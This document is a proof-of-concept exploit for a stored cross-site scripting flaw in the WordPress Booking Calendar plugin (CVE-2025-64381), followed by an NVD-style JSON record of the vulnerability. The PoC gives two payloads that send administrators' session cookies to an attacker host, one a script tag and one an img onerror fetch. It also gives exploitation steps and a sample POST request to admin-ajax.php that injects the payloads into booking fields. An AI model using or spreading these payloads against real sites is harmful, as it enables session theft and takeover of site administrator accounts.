CVE-2025-64381

// CVE-2025-64381 Stored XSS PoC // Target: WordPress Booking Calendar Plugin <= 10.14.7 // Malicious payload to inject in booking form fields: const payload = '<script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>'; // Alternative payload using img onerror: const altPayload = '<img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)">'; // Steps to exploit: // 1. Create a booking with malicious script in name/email/phone/notes field // 2. Submit the booking form // 3. Wait for admin to view the booking in dashboard // 4. Malicious script executes, exfiltrating session cookies // Example HTTP POST request: const exploitRequest = { method: 'POST', url: '/wp-admin/admin-ajax.php', data: { action: 'booking_submit', bk_name: payload, // Inject payload here bk_email: '[email protected]', bk_phone: '1234567890', bk_details: altPayload } };

{"cve": {"id": "CVE-2025-64381", "sourceIdentifier": "[email protected]", "published": "2025-11-13T10:15:54.180", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in wpdevelop Booking Calendar booking allows Stored XSS.This issue affects Booking Calendar: from n/a through <= 10.14.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/booking/vulnerability/wordpress-booking-calendar-plugin-10-14-7-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}